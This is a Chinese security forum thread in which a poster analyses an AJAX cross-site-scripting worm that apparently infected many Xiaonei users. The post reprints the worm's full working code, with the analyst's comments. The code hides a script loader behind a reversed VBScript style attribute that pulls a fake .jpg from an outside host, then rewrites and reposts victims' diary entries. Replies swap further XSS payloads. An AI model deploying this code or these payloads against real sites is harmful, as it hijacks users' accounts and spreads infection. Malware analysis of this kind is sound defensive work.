发新话题
打印

[原创]一个不为人知的感染几百万校内网用户的蠕虫分析

[原创]一个不为人知的感染几百万校内网用户的蠕虫分析

文章作者:langouster
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

  在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫,开始还以为是我的网页有问题,就随便打开几个人的页面查看,发现许多人的页面上也有这段代码。
复制内容到剪贴板
代码:
<a name="mya113" id="mya113" style=&#39;background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIyBtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpircs""(tnemelEetaerc.tnemucod=s tes")) )&#39;>
以上代码出现在日志的开头,只有查看源文件才能发现。它将vbscript调了个头写,调回来就变成以下内容:
复制内容到剪贴板
代码:
set s=document.createElement("script")
s.src=http://www.sosoface.com/images/xnjs.jpg
document.getElementById("mya113").parentNode.insertBefore s,document.getElementById("mya113")
在这段脚本中它又新建了一个script,它的src指向http://www.sosoface.com/images/xnjs.jpg(别相信后缀),下载加这个“jpg”用记事和UE打开都发现它填充了大量的asc的00(真不敢相信填充了那么多00 IE还能执行),不过用Dreamweaver打开显示正常,拷出JS。然后花了几乎一天的时间来分析这个js文件,发现它完完全全是一个基于ajax的蠕虫。
  值得注意的是作者好像很低调,在蠕虫代码中除了感染就是隐藏,没有一行破坏性的代码,仅仅是加了一个站长统计,估计作者是用来研究蠕虫传播情况的,因为站长统计要密码我们进不去,所以不知道具体的感染情况,但是我刚才在google上搜了下sosoface,还是看到这个网站的流量图:
http://www.chinarank.org.cn/deta ... amp;r=1192875678218

从图上可以看到流量在几天时间里大增,这些天应该是蠕虫感染的时间。日访问人数从0猛增到500百万人/天,也就是每天那个JPG要被访问5亿次 考虑到一个人可能访问多个页面,粗略估计应该至少有几百万人受到感染。另外,也就在大概两三天前这个蠕虫应该是被校内的人发现了,一夜之间全部消失了。Sosoface也被停了。


下面来分析感染代码,我直接把注释写在JS中了,原本的程序可是一行注释也没有的。看时从最底下的start函数看起:
复制内容到剪贴板
代码:
var req = null;
var step=null;
var DiaryMonthUrlList="",DiaryUrlList="";
var timer=null;
var bIsBusy=false;


var myrand="46.115.50.124.115.127.119.47.48.127.107.115.35.35.33.48.50.123.118.47.48.127.107.115.35.35.33.48.50.97.102.107.126.119.47.53.112.115.113.121.117.96.125.103.124.118.40.103.96.126.58.100.112.97.113.96.123.98.102.40.119.106.119.113.103.102.119.58.65.102.96.64.119.100.119.96.97.119.58.48.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.62.97.50.119.96.125.116.119.80.102.96.119.97.124.123.60.119.118.125.92.102.124.119.96.115.98.60.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.50.40.48.48.117.98.120.60.97.120.124.106.61.97.119.117.115.127.123.61.127.125.113.60.119.113.115.116.125.97.125.97.60.101.101.101.61.61.40.98.102.102.122.48.48.47.113.96.97.60.97.40.59.48.48.102.98.123.96.113.97.48.48.58.102.124.119.127.119.126.87.119.102.115.119.96.113.60.102.124.119.127.103.113.125.118.47.97.50.102.119.97.48.59.59.50.59.53.44.46.61.115.44";

function my_HtmlDecode(str)
{
  str=str.replace(/</g,"<");
  str=str.replace(/>/g,">");
  str=str.replace(/&/g,"&");
  str=str.replace(/ /g," ");
  str=str.replace(/"/g,"\"");
  str=str.replace(/<br>/g,"\n");
  str=str.replace(/#/g,"#");
  str=str.replace(/(/g,"(");
  str=str.replace(/)/g,")");
  str=str.replace(/"/g,"\"");
  str=str.replace(/&#39;/g,"&#39;");
  str=str.replace(/#/g,"#");
  str=str.replace(/(/g,"(");
  str=str.replace(/)/g,")");
  str=str.replace(/"/g,"\"");
  str=str.replace(/&#39;/g,"&#39;");
  return str;
}
function processReqChange()
{
  if (req.readyState == 4 && req.status == 200 )
  {
    if("WriteIframe"==step)
    {
      var text,len,i=0,j=0,temp;
      
      text=req.responseText;
      i=text.indexOf("<div class=\"article\">",0);
      if(-1==i){return}
      i=text.indexOf("http://blog.xiaonei.com/GetEntry.do",i);
      if(-1==i){return}
      j=text.indexOf("\"",i);
      if(-1==j){return}
      text=text.substring(i,j);
   
      document.getElementById("mya113").style.background="#FFFFFF";
      var s=document.createElement("iframe");
      s.frameborder="0";
      s.height="0";
      s.width="1";
      s.src=text;
      document.getElementById("mya113").parentNode.insertBefore(s,document.getElementById("mya113"));
    }
    else  if("GetDiaryMonthList"==step)
    {
      var text,len,i=0,j=0,temp;
      //text的内容就和用户点“我的日志”得到的内容一样,分析HTML,得到“日志存档”中的每一个链接,保存到DiaryMonthUrlList中
      //然后跳到GetStatus函数,此时step="GetDiaryList" 取出每个月的日志列表
      text=req.responseText;
      i=text.indexOf("<div id=\"list-archive\">",0);
      if(-1==i){return}
      j=text.indexOf("<div class=\"bottom-box\">",i);
      if(-1==j){return}
      text=text.substring(i,j);
      
      i=j=0;
      while(1)
      {
        i=text.indexOf("http://blog.xiaonei.com/MyBlog.do",i);
        if(-1==i)break;
        j=text.indexOf("&#39;>",i);
        if(-1==j)break;
        temp=text.substring(i,j);
        i+=temp.length;
        temp=my_HtmlDecode(temp)+"|";
        DiaryMonthUrlList+=temp;
      }
      if(DiaryMonthUrlList.length<=1)
      {
        return;
      }
      
      step="GetDiaryList";
      req=null;
      bIsBusy=false;
      timer=window.setInterval(GetStatus,1000);
    }
    else if("GetDiaryList"==step)
    {
      var text,len,i,j,temp,temp2;
      var text2="http://blog.xiaonei.com/EditEntry.do?id=";
      
      //text的内容就和用户点了“日志存档”后的内容一样
      //分析HTML得到每个月的日志列表保存在DiaryUrlList中,然后step=GetDiaryText也就是取得日志的内容,
      //看本函数下面else if("GetDiaryText"==step)就是了
      text=req.responseText;
      
      len=text.length;
      i=text.indexOf("<div id=\"list-article\">");
      if(-1==i)
      {
        req=null;
        bIsBusy=false;
        return;
      }
      j=text.indexOf("</table>",i);
      if(-1==j)
      {
        req=null;
        bIsBusy=false;
        return;
      }
      text=text.substring(i,j);
      i=j=0;
      
      
      while(1)
      {
        j=0;
        len=0;
        j=DiaryUrlList.indexOf("|",j);
        while(j!=-1)
        {
          j++;
          len++;
          j=DiaryUrlList.indexOf("|",j);
        }
        
        if(len>=5)//只感染前5篇日志 或者是4篇 没仔细研究
        {
          break;
        }
        
        i=text.indexOf(text2,i);
        if(-1==i)
        {
          break;
        }
        i+=text2.length;
        j=text.indexOf("\">",i);
        if(-1==j || j-i>10)
        {
          break;
        }
        temp=text2+text.substring(i,j)+"|";
        DiaryUrlList+=temp;        
      }
      req=null;
      bIsBusy=false;
    }
    else if("GetDiaryText"==step)
    {
      var text,len,i,j;
      var argv;
      var title,body,blog_pic_id="0",pic_path,blogControl,Diaryid;
      
      
      text=req.responseText;
      //这个模块模拟用户编辑日志,在每篇日志的开关都加上
      //<a name="mya113" id="mya113" style=&#39;background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIyBtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpircs""(tnemelEetaerc.tnemucod=s tes")) )&#39;>
      
      i=text.indexOf("<form action=\"http://upload.xiaonei.com/EditEntry.do\"",0);
      
      if(-1==i)
      {
        return;
      }
      i+=53;
      
      j=text.indexOf("</form>",i);
      if(-1==j)
      {
        return;
      }

      text=text.substring(i,j);
      //------------------------
      
      i=text.indexOf("id=\"title\" class=\"inputtext\" tabindex=\"1\" value=\"",0);
      if(-1==i)return;
      i+=49;
      j=text.indexOf("\" />",i);
      if(-1==j)return;
      title=text.substring(i,j);
      //---
      i=text.indexOf("<textarea name=\"body\" id=\"body\" cols=\"100%\" style=\"display:none\">",0);
      if(-1==i)return;
      i+=65;
      j=text.indexOf("</textarea>",i);
      if(-1==j)return;
      body=text.substring(i,j);
      //---
      i=text.indexOf("id=\"blog_pic_id\" value=\"",0);
      if(-1==i)return;
      i+=24;
      j=text.indexOf("\" />",i);
      if(-1==j)return;
      blog_pic_id=text.substring(i,j);
      //---
      i=text.indexOf("id=\"pic_path\" value=\"",0);
      if(-1==i)return;
      i+=21;
      j=text.indexOf("\" />",i);
      if(-1==j)return;
      pic_path=text.substring(i,j);
      //---
      i=text.indexOf("name=\"id\" value=\"",0);
      if(-1==i)return;
      i+=17;
      j=text.indexOf("\" />",i);
      if(-1==j)return;
      Diaryid=text.substring(i,j);
      //---
      i=text.indexOf("\" selected=\"selected\"",0);
      if(-1==i)return;
      j=i-2;
      if(text.substr(j,1)=="\"")
        j++;
      blogControl=text.substring(j,i);
      
      
      body=my_HtmlDecode(body);
      if(body.indexOf("mya113",0)>=0)//已经感染过,不再感染
      {
        req=null;
        step="GetDiaryText";
        bIsBusy=false;
        
        return;
      }
      else
      {
        ;
      }
      //以上是取日志的各个变量信息
      //以下开头就感染日志并修改
      
      body=MyDecode(myrand)+body;
      //感染日志 在日志的开头加上跨站代码
      //MyDecode(myrand)中保存的就是跨站的关键代码,作者加密了一下放在myrand变量中,程序开头的一长串数据就是
      
      //以下开始POST提交修改过的日志
      argv="\r\n";
      argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\n";
      argv+=(title+"\r\n");
      argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"body\"\r\n\r\n";
      argv+=(body+"\r\n");
      argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"theFile\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n";
      argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"blog_pic_id\"\r\n\r\n";
      argv+=(blog_pic_id+"\r\n");
      argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"pic_path\"\r\n\r\n";
      argv+=(pic_path+"\r\n");
      argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"blogControl\"\r\n\r\n";
      argv+=(blogControl+"\r\n");
      argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n";
      argv+=(Diaryid+"\r\n");
      argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"relative_optype\"\r\n\r\n";
      argv+=("publisher"+"\r\n");
      argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"del_relative_id\"\r\n\r\n\r\n";
      argv+="-----------------------------7d71861cb014c--\r\n";
               
      
      req=null;
      step="EditDiaryText";
      loadUrl("http://blog.xiaonei.com/EditEntry.do","POST",argv);
      

    }
    else if("EditDiaryText"==step)
    {
      
      req=null;
      bIsBusy=false;
      step="GetDiaryText";
    }
    else
    {
      ;
    }
   
  }
}
function MyDecode(str)
{
  var i,k,str2="";
  
  k=str.split(".");
  
  for(i=0;i<k.length;i++)
  {
    str2+=String.fromCharCode(k[i]^0x12);
  }
  return str2;
}
function loadUrl( url,method,argv )
{
  bIsBusy=true;
  if(!req)
  {
    if(window.XMLHttpRequest)
    {
      try
      {
        req = new XMLHttpRequest();
      } catch(e) { req = false; }
    }
    else if(window.ActiveXObject)
    {
      try
      {
        req = new ActiveXObject(&#39;Msxml2.XMLHTTP&#39;);
      }
      catch(e)
      {
        try
        {
          req = new ActiveXObject(&#39;Microsoft.XMLHTTP&#39;);
        } catch(e) { req = false; }
      }
    }
  }
  if(req)
  {
    req.onreadystatechange = processReqChange;
    try
    {
      req.open(method, url, true);
      if(method=="POST")
        req.setRequestHeader("Content-Type","multipart/form-data; boundary=---------------------------7d71861cb014c");
      req.send(argv);
    }catch(e)
    {
      req=false;
    }
  }
}
function GetStatus()
{
  if(bIsBusy)return;
  
  if("GetDiaryList"==step)
  {
    var DiaryMonthUrl,i;
   
    //取出每个月的日志列表
    if(DiaryMonthUrlList.length<=1)
    {
      step="GetDiaryText";
      return;
    }
    i=DiaryMonthUrlList.indexOf("|",0);
    if(-1==1)
    {
      step="GetDiaryText";
      return;
    }
    DiaryMonthUrl=DiaryMonthUrlList.substring(0,i);
    DiaryMonthUrlList=DiaryMonthUrlList.substring(i+1,DiaryMonthUrlList.length);
   
    //再回到开头的processReqChange函数 此时step还是GetDiaryList
    loadUrl(DiaryMonthUrl,"GET","");

  }
  else if("GetDiaryText"==step)
  {
    var DiaryUrl,i;
    if(DiaryUrlList.length<=1)
    {
      clearInterval(timer);
      return;
    }
   
    i=DiaryUrlList.indexOf("|",0);
    if(-1==i)
    {
      clearInterval(timer);
      return;
    }

    DiaryUrl=DiaryUrlList.substring(0,i);
    DiaryUrlList=DiaryUrlList.substring(i+1,DiaryUrlList.length);

    loadUrl(DiaryUrl,"GET","");
  }
}
function WriteStat()
{
  var s=document.createElement("iframe");
  s.frameborder="0";
  s.height="0";
  s.width="0";
  s.src="http://www.sosoface.com/images/stat.jpg";
  document.getElementById("mya113").parentNode.insertBefore(s,document.getElementById("mya113"));

}

function DeleteScript(html)
{
  var i=0,j=0,str;
  
  str=html;

  i=str.indexOf("</A>",0);
  if(-1==i)
    return str;
  i+=4;
  str=str.substring(i,str.length);

  return str;  
}
function EditorSubmit()
{
  var ret=false;
  parent.parent.descOptype();
  ret=parent.parent.beforeSubmit();

  parent.parent.document.getElementById("body").value=MyDecode(myrand)+DeleteScript(parent.parent.document.getElementById("body").value);

  return ret;
}
function Start()
{
  //判断是不是blog.xiaonei.com域,由于ajax是不能跨域的,所以判断是必备的
  if("blog.xiaonei.com"==document.domain)
  {
    //如果是在编辑已感染的日志 就做了一些奇怪的行为,我看不懂,好像是把自己重写了一遍,不知道为什么这样做
    if("http://blog.xiaonei.com/pages/editor/win.htm"==document.location)
    {
      parent.parent.document.getElementById("editorForm").onsubmit=EditorSubmit;
    }
    else
    {
      
      WriteStat();//这是一个用户流量统计的函数,使用cnzz 站长助手
      //下面开始感染了,第一步GetDiaryMonthList,得到日志的按月归档
       step="GetDiaryMonthList";
       loadUrl("http://blog.xiaonei.com/MyBlog.do","GET","");//loadUrl是一个ajax读取页面内容的函数
      //下面跳到开头的processReqChange函数
    }
  }
  else if("xiaonei.com"==document.domain || "www.xiaonei.com"==document.domain)
  {
    //如果不在blog.xiaonei.com域就写入一个Iframe Iframe的SRC是日志的URL
    //这个URL是blog.xiaonei.com域的,就变向的实现了跨域,
    //作者这样做应该是为了一访问别人的主页就能感染
    var url="";
   
    url=document.location.toString();
    if(url.indexOf("&")==-1)
      return;
    step="WriteIframe";
     loadUrl(url,"GET","");
  }
}

Start();
我的BLOG:http://www.langouster.com

TOP

...太厉害了。。。~~难道就是如果在JS里写POST的数据,被访问的话,访问者的页面就会感染上这个东西吗?~~
校内网没有过滤VBSCRIPT?~~
恳请指点qq:3890313

TOP

楼主也上校内?
我想看看,有多帅,放个地址吧~~~
to一楼:校内当然是要屏蔽很多危险代码的。
但是自有牛人可以绕过去。
校内一直可以执行js,通过link标签,校内屏蔽的实在不怎么样。
用monyer提供的那么多触发执行的跨站测试代码,有一半以上没屏蔽。

TOP

回楼上
monyer大大好像也还是雪深的吧?
我差距还太大了.呵呵..
在校内找了个跨站就在邪八发帖子了.
看来我得多多学习~~~
在MILW0RM上面有个XSS的视频,我看了半天没看懂.~~写一段代码执行,额.AJAX..
校内登陆后的页面有用AJAX吧?
~
楼上有没研究下?~
恳请指点qq:3890313

TOP

楼上还是很厉害的
我是菜鸟来着。
你发先的跨站可以利用~
很牛b了。
很多网站的触发执行都没过滤干净的,太多了点。。。

TOP


嘻嘻
我也xiaonei
大家有空看看我的
http://xiaonei.com/getuser.do?id=221499326
玩世不恭彼此 ⌒ ˇ互相鼓励信任 認眞體驗每⒈兲.!﹏演藝⒉.個亾啲莞鎂傳奇( [淇]儭滗.

TOP

我自己测试了一下好像不行,难道 校内屏蔽了vbscript?那不是还用c#吗?能不能用?有没有人探讨过?

TOP

作者很厉害

使用Iframe 跨域

各种情况都考虑到了 ~
.....  -.= 凸

TOP

js?网站被挂脚本马?

TOP

现在害得我上校内都开SSM,当然影子除外........这个代码有点用,佩服高手。monyer的文章的确非常好....开阔很多。现在有些视频网站也存在类似问题!我就不透露了,学习蠕虫中.........

TOP

ajax 蠕虫。07-08估计很流行。

TOP

校内网的涂鸦版已经不准写js代码了,只能写css样式表,而且背景图片和音乐的设置独立出来了.

TOP

貌似现在很多都被封掉了..楼上的大大们说的代码是不是在涂鸦版里执行?

TOP

[link]&#39;style=background:url(http://jbau.cn/xss.css);display:none[/link]
请教大家这个能执行吗?/现在?

TOP

写这段代码的作者真够细心的
记得以前可以用js的 学习css中

TOP

校内网的涂鸦版已经不准写js代码了,只能写css样式表,而且背景图片和音乐的设置独立出来了.

TOP

很疑惑为什么他能把代码倒着写呢?

TOP

这段代码再改进的话,我觉得是一个很不错的虫虫了.

TOP

厉害的东西,顶~!

TOP

的确很厉害啊
想要具体分析出来还要有些时间啊
呵呵我也上校内阿

TOP

发新话题